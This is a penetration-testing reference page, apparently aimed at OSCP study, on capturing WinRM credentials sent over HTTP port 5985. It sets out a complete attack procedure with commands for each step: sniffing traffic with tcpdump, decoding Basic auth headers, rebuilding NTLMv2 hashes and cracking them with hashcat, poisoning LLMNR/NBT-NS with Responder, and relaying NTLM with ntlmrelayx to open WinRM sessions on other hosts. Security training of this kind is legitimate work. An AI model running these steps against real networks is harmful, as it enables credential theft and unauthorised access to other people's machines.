# WinRM Cleartext Credential Capture – HTTP Traffic Interception

- **URL:** https://hackindex.io/services/winrm/exploitation/cleartext-credential-capture
- **Path:** WinRM > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/winrm/exploitation.md)
- **Published:** 2026-03-12
- **Updated:** 2026-03-29

WinRM on port 5985 uses HTTP transport. When Basic authentication is configured (misconfigured hosts, workgroup machines, some management tools), credentials are base64-encoded in the Authorization header and trivially decoded. Even with NTLM authentication over HTTP, the NTLM handshake is fully capturable for offline cracking. HTTPS on 5986 encrypts the transport and prevents this.

Capture approaches depend on position:

- Passive capture with tcpdump when on the same network segment
- Active capture with Responder via LLMNR/NBT-NS poisoning
- NTLM relay to another host instead of cracking

Check whether the target is running HTTP or HTTPS before attempting capture:

```bash
nmap -p 5985,5986 $TARGET_IP -sV
```

Port 5985 open, 5986 closed: HTTP only, capture is viable.

## Passive Capture with tcpdump

Position yourself on the same network segment as the WinRM client or server. Start a capture on port 5985:

```bash
sudo tcpdump -i eth0 -w winrm-capture.pcap tcp port 5985
```

Wait for a legitimate WinRM connection: scheduled tasks, management scripts, and remote administration tools trigger these regularly. Stop the capture once traffic is collected.

## Extracting Credentials from the PCAP

Open in Wireshark and filter for HTTP:

```
http
```

Follow any TCP stream containing a POST to `/wsman`. Look for the `Authorization:` header in the request.

**Basic authentication**: the value is `Basic <base64>`. Decode directly:

```bash
echo "Basic dXNlcm5hbWU6cGFzc3dvcmQ=" | cut -d' ' -f2 | base64 -d
```

Output is `username:password` in plaintext.

**NTLM authentication**: the value starts with `NTLM` followed by a base64 blob. Extract the full NTLM handshake from the three-way exchange:

1. Client sends `Authorization: NTLM <negotiate blob>`
2. Server responds with `WWW-Authenticate: NTLM <challenge blob>`
3. Client sends `Authorization: NTLM <authenticate blob>`

The authenticate blob contains the NTLMv2 response. Extract the challenge from the server response and the hash from the client authenticate message. Use `ntlmdecoder` or extract manually with python-impacket's `ntlmdecoder` to reconstruct the NTLMv2 hash in hashcat format.

Using Wireshark's built-in NTLMSSP dissector: filter:

```
ntlmssp

```

Right-click the `NTLMSSP_AUTH` message → Follow TCP Stream. The dissected fields show the username, domain, NTChallenge, and NTProofStr needed to reconstruct the hash.

Crack with hashcat mode 5600:

```bash
hashcat -m 5600 ntlmv2.hash /usr/share/wordlists/rockyou.txt --force
```

## Responder for Active Credential Capture

If you can influence network traffic (for example via DNS poisoning, WPAD abuse, or LLMNR/NBT-NS poisoning), Responder captures WinRM authentication attempts directed at non-existent or spoofed hosts.

> [!WARNING]
> Responder uses LLMNR, NBT-NS, and MDNS poisoning. These are not permitted on the OSCP exam. Passive tcpdump capture is fine. Verify exam rules before using Responder.

```bash
sudo responder -I eth0 -w -v
```

When a WinRM client attempts to connect to a host that resolves to your IP via LLMNR/NBT-NS, Responder answers the authentication challenge and captures the NTLMv2 hash. It prints to screen and logs to `/usr/share/responder/logs/`.

Crack the captured hash:

```bash
hashcat -m 5600 /usr/share/responder/logs/NTLMv2-*.txt /usr/share/wordlists/rockyou.txt --force
```

## Relay Instead of Crack

If cracking fails, relay the captured NTLM hash directly to another service. WinRM NTLM over HTTP is relayable. Set up ntlmrelayx targeting WinRM on another host:

```bash
sudo ntlmrelayx.py -t http://$TARGET_IP:5985/wsman -smb2support
```

When authentication is triggered, ntlmrelayx relays it and opens a WinRM session. See [https://hackindex.io/services/smb/exploitation/ntlm-relay](https://hackindex.io/services/smb/exploitation/ntlm-relay) for full relay setup.

## References

- [Responder](https://github.com/SpiderLabs/Responder) - SpiderLabs LLMNR/NBT-NS poisoning and credential capture tool documentation.
- [Hashcat Documentation](https://hashcat.net/wiki/doku.php?id=hashcat) - NTLMv2 cracking mode 5600 reference.